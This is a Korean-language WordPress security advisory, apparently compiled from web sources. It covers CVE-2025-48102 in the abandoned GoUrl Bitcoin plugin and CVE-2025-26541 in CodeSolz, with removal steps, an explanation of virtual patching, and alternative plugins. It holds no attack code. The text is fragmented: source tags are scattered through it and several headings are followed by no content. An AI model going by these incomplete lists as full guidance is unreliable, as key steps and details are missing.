저장형 XSS 공격은 특히 위험합니다. 악성 코드가 웹사이트 데이터베이스에 저장되고 감염된 페이지를 보는 모든 방문자에 대해 자동으로 실행되기 때문입니다. 이로 인해 저장형 XSS는 반사형 XSS보다 훨씬 더 파괴적입니다.
Wordfence 전문가는 WordPress의 맥락에서 공격자가 제어하는 자격 증명으로 관리 사용자를 추가하고 파일을 편집하면 사이트가 완전히 손상될 수 있으며 , 이는 공격자에 의해 적극적으로 사용된다고 강조합니다.
영향을 받는 플러그인을 사용하는 웹사이트 소유자를 위해 전문가들은 다음 즉시 조치 를 권장합니다.
CVE-2025-48102(GoUrl)의 경우:
GoUrl Bitcoin Payment Gateway 플러그인에서 취약점 CVE-2025-48102 가 발견되면서 수천 명의 WordPress 웹사이트 소유자에게 심각한 상황이 발생했습니다. 특히 우려되는 점은 표준 보안 조치가 적절한 보호를 제공하지 못하는 반면, 반쪽짜리 조치는 잘못된 보안 감각을 만들어낼 수 있다 는 것입니다. 플러그인을 단순히 비활성화하는 것만으로는 문제가 해결되지 않는 이유와 위협을 완전히 제거하기 위해 필요한 단계를 자세히 살펴보겠습니다.
많은 WordPress 관리자는 플러그인을 비활성화하면 완전히 비활성화 되고 관련된 모든 보안 위험이 제거된다고 잘못 생각합니다. 그러나 이러한 근본적인 오해는 재앙적인 결과를 초래할 수 있습니다.
비활성화와 삭제의 중요한 차이점:
플러그인 비활성화 는 단순히 WordPress에서 해당 기능을 비활성화합니다. 플러그인 코드는 더 이상 사이트와 상호 작용하지 않으며 해당 기능이 수행되지 않습니다. 그러나 플러그인을 완전히 제거하지 않는 한 모든 플러그인 파일과 데이터는 서버에 남아 있습니다 . 이 주요 차이점은 잠재적인 보안 위험을 이해하는 데 중요합니다.
서버 내 코드의 물리적 존재: 플러그인이 비활성화된 경우에도 해당 파일은 서버의 /wp-content/plugins/ 디렉토리에 계속 저장됩니다. 플러그인에 알려진 취약점이 있는 경우 해커는 플러그인 파일에 직접 액세스하여 이를 악용 할 수 있습니다. 이는 사이트의 다른 취약점(예: 취약한 서버 보안 또는 손상된 관리자 자격 증명)을 통해 발생할 수 있습니다.
Dotwise 보안 전문가는 강조합니다: "코드는 여전히 접근 가능합니다. 플러그인이 비활성화된 경우에도 해당 파일은 서버에 계속 저장됩니다. 플러그인에 알려진 취약점이 있는 경우 해커는 플러그인 파일에 직접 액세스하여 이를 악용할 수 있습니다."
표적 공격: 사이버 범죄자는 종종 특정 취약한 플러그인에 대해 웹사이트를 스캔 합니다. 취약한 플러그인이 서버에 존재하는 경우, 비활성화되어 있어도 공격자가 공격할 수 있습니다.
Qode Interactive 전문가는 경고합니다: "플러그인을 삭제하지 않고 비활성화하는 것은 진단 및 문제 해결에 유용하지만, 항상 단기간 사용만을 위한 것입니다. WordPress 사이트를 해커로부터 최대한 안전하게 보호하려면 사용하지 않는 모든 플러그인과 해당 파일을 삭제해야 합니다."
오래된 플러그인: 비활성화된 플러그인은 정기적인 WordPress 유지 관리 중에 종종 간과 됩니다. 보안 취약점을 패치하기 위해 플러그인이 업데이트되지 않으면 사이트 보안의 취약한 연결 고리가 될 수 있습니다. 해커는 종종 오래된 소프트웨어를 악용하며, 비활성화된 플러그인도 예외는 아닙니다.
Magna Technology 팀은 언급합니다: "비활성화된 플러그인의 가장 중요한 문제 중 하나는 보안입니다. 비활성화된 플러그인은 실행되지 않지만 WordPress 설치에 남아 있으며 정기적으로 업데이트되지 않으면 취약점이 될 수 있습니다. 해커는 비활성화된 플러그인이라도 웹사이트에 액세스하기 위해 오래된 플러그인을 자주 악용합니다."
CVE-2025-48102 의 구체적인 특성은 GoUrl Bitcoin Payment Gateway 플러그인이 개발자에 의해 더 이상 지원되지 않는다 는 것입니다. 이는 플러그인의 모든 사용자에게 독특하고 매우 위험한 상황을 만듭니다.
Patchstack의 공식 입장: Patchstack 취약점 페이지에는 명확히 명시되어 있습니다: "이 소프트웨어는 중단되었을 가능성이 높습니다! 이 소프트웨어는 1년 넘게 마지막으로 업데이트되었으며 향후 추가 업데이트나 패치를 받지 못할 가능성이 높습니다. 긴급히 소프트웨어를 대안으로 교체하는 것을 고려하십시오."
비활성화에 대한 중요 경고: Patchstack은 구체적으로 다음과 같이 명시합니다: "가상 패치(vPatch)가 배포되지 않는 한 소프트웨어를 비활성화해도 보안 위험이 제거되지 않습니다."
Wiz 전문가의 권고 : Wiz 플랫폼 전문가는 단호히 말합니다: "공식적인 수정 사항이 없고 소프트웨어가 중단된 것으로 간주되므로 권장되는 완화 조치는 플러그인을 제거하고 적극적으로 유지 관리되는 대안으로 교체하는 것입니다."
지속적인 취약점: 개발자 지원이 없으면 보안 업데이트가 릴리스되지 않습니다 . 이는 CVE-2025-48102를 포함하여 발견된 모든 취약점이 영원히 패치되지 않은 상태로 남아 있음을 의미합니다.
위험 축적: 시간이 지남에 따라 추가 취약점이 발견될 수 있으며 이 또한 패치되지 않습니다. Patchstack 통계에 따르면, 2024년에는 높거나 중간 우선순위의 취약점으로 인해 무려 1,450개의 플러그인이 WordPress.org 저장소에서 제거 되었습니다.
향후 버전과의 비호환성: 버려진 플러그인은 향후 WordPress, PHP 또는 기타 종속성 버전과 비호환되어 추가적인 기능 및 보안 문제를 발생시킬 수 있습니다. mainwp +1
가상 패치(Virtual Patching) 는 애플리케이션 자체를 변경하지 않으면서 알려진 익스플로잇이 취약한 코드에 도달하기 전에 차단하는 보안 기술입니다. wp-umbrella+2
OWASP 정의: OWASP 조직은 가상 패치를 "알려진 취약점의 악용을 방지하는 보안 정책 시행 수준"으로 정의합니다. "
작동 방식: 가상 패치는 트랜잭션을 분석하고 전송 중인 공격을 차단하여 악성 트래픽이 웹 애플리케이션에 도달하지 못하게 합니다. 결과적으로 실제 애플리케이션 소스 코드가 수정되지 않았더라도 익스플로잇 시도는 실패합니다. owasp+1
취약점 특이성: 광범위한 탐지 패턴에 의존하는 범용 웹 애플리케이션 방화벽(WAF)과 달리, 가상 패치는 특정 페이로드와 일치하는 대상 규칙으로 작성됩니다. 플러그인에 SQL 인젝션 또는 크로스 사이트 스크립팅 취약점이 있는 경우, 가상 패치는 이를 악용하는 정확한 요청 서명을 차단할 수 있습니다. wp-umbrella+1
Patchstack 기술: Patchstack은 다양한 지침을 포함할 수 있는 취약점별 JSON 규칙을 사용합니다. 예를 들어, POST id 매개변수에 악성 페이로드를 포함하여 수행되는 SQL 인젝션의 경우, 가상 패치는 허용 목록 접근 방식을 사용하여 id에 숫자만 포함되도록 할 수 있습니다. patchstack+1
자동 배포: 취약점이 발견되어 CVE 식별자로 문서화되면, 보안 연구자 또는 Patchstack과 같은 플랫폼이 취약점을 확인하고 익스플로잇이 작동하는 방식을 정확히 문서화합니다. 이것이 가상 패치의 기초가 되며, 이후 모든 보호된 사이트에 자동으로 배포될 수 있습니다.
주요 이점:
CVE-2025-48102에 대한 주요 한계:
가상 패치의 모든 이점에도 불구하고, 버려진 GoUrl 플러그인에 대한 장기적인 해결책은 아닙니다. Patchstack은 소프트웨어를 비활성화하는 것이 가상 패치가 배포되지 않는 한 보안 위협을 제거하지 않는다고 분명히 경고합니다. 그러나 버려진 소프트웨어에 대한 지속적인 보호를 위해 가상 패치에만 의존하는 것은 위험한 전략입니다. 이유는 다음과 같습니다: patchstack
모든 요소를 고려할 때— 공식 수정 사항 부족, 버려진 소프트웨어 상태, 비활성화의 부적절함, 가상 패치의 임시적 특성 —전문가들은 만장일치로: CVE-2025-48102에 대한 유일한 효과적인 해결책은 GoUrl 플러그인을 완전히 제거하는 것입니다. wiz plugin . +1
전문가 합의:

1단계: 전체 백업 생성 Jetpack+1
플러그인을 제거하기 전에 반드시 사이트의 전체 백업을 생성하세요. 파일과 데이터베이스를 포함해야 합니다. 이렇게 하면 문제가 발생할 경우 사이트를 복원할 수 있습니다. 권장 도구: liquidweb+1
2단계: 대시보드를 통해 플러그인 비활성화 kinsta+1
WordPress 대시보드에 로그인하여 플러그인 → 설치된 플러그인으로 이동합니다. GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership을 찾아 "비활성화"를 클릭합니다. kinsta+1
3단계: WordPress에서 플러그인 제거 wpbeginner+1
비활성화한 후, 플러그인 이름 아래의 "삭제"를 클릭합니다. WordPress는 /wp-content/plugins/ 디렉토리에서 플러그인 파일을 삭제합니다. jetpack+3
4단계: 데이터베이스에서 잔여 테이블 정리 liquidweb+2
중요한 단계: 많은 WordPress 플러그인은 데이터베이스에 자체 테이블을 생성하며, 플러그인이 제거될 때 자동으로 삭제되지 않습니다. 이러한 "고립된 테이블"은 계속해서 공간을 차지하고 민감한 데이터를 포함할 수 있습니다. youtubeonlinemediamasters+3
데이터베이스 정리 방법:
A. 플러그인을 사용한 데이터베이스 정리: nitropack+2
Advanced Database Cleaner 는 포괄적인 WordPress 데이터베이스 정리 플러그인입니다: wordpress+1
WP-Optimize 는 인기 있는 최적화 도구입니다: jetpack+2
Plugins Garbage Collector 는 고립된 테이블 탐지를 위한 전문 플러그인입니다: YouTube
B. phpMyAdmin을 통한 수동 정리: mehulgohil+2
고급 사용자용:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products) wordpress+1특정 테이블 삭제를 위한 SQL 쿼리: liquidweb
sql:DROP TABLE wp_gourl_tablename;
wp_gourl_tablename를 실제 테이블 이름으로 바꾸세요. 항상 다른 플러그인이 해당 테이블을 사용하고 있지 않은지 다시 확인하세요.
5단계: 잔여 파일 확인 jetpack+1
일부 플러그인은 플러그인 디렉토리 외부에 파일을 생성할 수 있습니다. /wp-content/uploads/ 디렉토리에서 GoUrl 관련 폴더(예: [ /wp-content/uploads/gourl/wordpress+2])를 확인하고 FTP 또는 호스팅 파일 관리자를 통해 삭제하세요.
6단계: 사용하지 않는 숏코드 제거
사이트 콘텐츠에서 GoUrl 숏코드를 사용한 경우, 해당 숏코드는 비활성화되어 텍스트로 표시됩니다. 게시물과 페이지에서 수동으로 찾아 제거하세요.
GoUrl의 대체품을 선택할 때는 다음 요소를 고려해야 합니다:
1. 적극적인 지원 및 정기적 업데이트: wp-content+1
2. 강력한 보안 평판: paymattic+1
3. 기술적 호환성: crocoblock+1

BTCPay Server 는 자체 호스팅 오픈소스 솔루션입니다: instawp+2
Blockonomics 는 분산형 결제 게이트웨이입니다: slashdot+2
CryptoPay (BeycanPress 제공) 는 포괄적인 암호화폐 결제 게이트웨이입니다: beycanpress+1
CoinGate 는 신뢰할 수 있는 블록체인 결제 처리기입니다: g2+2
MyCryptoCheckout 는 개인 정보 보호에 중점을 둔 플러그인입니다: instawp+2
ABC Crypto Checkout – 직접 암호화폐 결제: crocoblock+1
1. 멀웨어 스캔: solidwp+1
2. 관리자 계정 확인: wordfence+1
3. 액세스 로그 분석: wp-rocket+1
1. 설치된 플러그인 정기 감사: patchstack+2
2. 플러그인 관리 정책 구현: wp-eventmanager+1
3. 보안 업데이트 자동화: wp-eventmanager+1
CVE-2025-26541 (CodeSolz)의 경우:
CVE-2025-26541은 CodeSolz 제품과 관련된 취약점 식별자입니다. 이 취약점은 이 소프트웨어를 사용하는 리소스에 심각한 보안 위협이 되며, 공격자가 관리 기능에 무단으로 액세스하거나 취약한 시스템 인스턴스에서 악의적인 작업을 수행할 수 있도록 합니다.
1. CodeSolz를 즉시 버전 1.7.7 이상으로 업데이트
공식 CodeSolz 개발자는 버전 1.7.7부터 CVE-2025-26541에 대한 패치를 출시했습니다. 악용된 취약점이 패치되어 해킹 위험이 크게 줄었습니다. 특히 시스템이 외부 액세스에 노출되거나 기업 인프라에서 사용되는 경우 모든 CodeSolz 인스턴스에 이 업데이트를 즉시 적용해야 합니다.
2. 의심스러운 관리자 계정 확인
CVE-2025-26541 악용의 특징 중 하나는 승인되지 않은 새 관리자 계정이 나타나는 것입니다. 필요한 조치:
또한 모든 관리자 계정에 대해 이중 인증을 활성화하고 권한을 분할하여 잠재적인 피해를 줄이는 것이 좋습니다.
3. 비정상적인 활동에 대한 액세스 로그 검토
악용이 감지되거나 의심되는 경우 시스템 로그를 검토하는 것이 필수적입니다:
현대 로깅 시스템은 이벤트, 시간, IP 주소 및 활동 유형별 필터링 기능을 제공하여 분석 속도를 크게 높일 수 있습니다.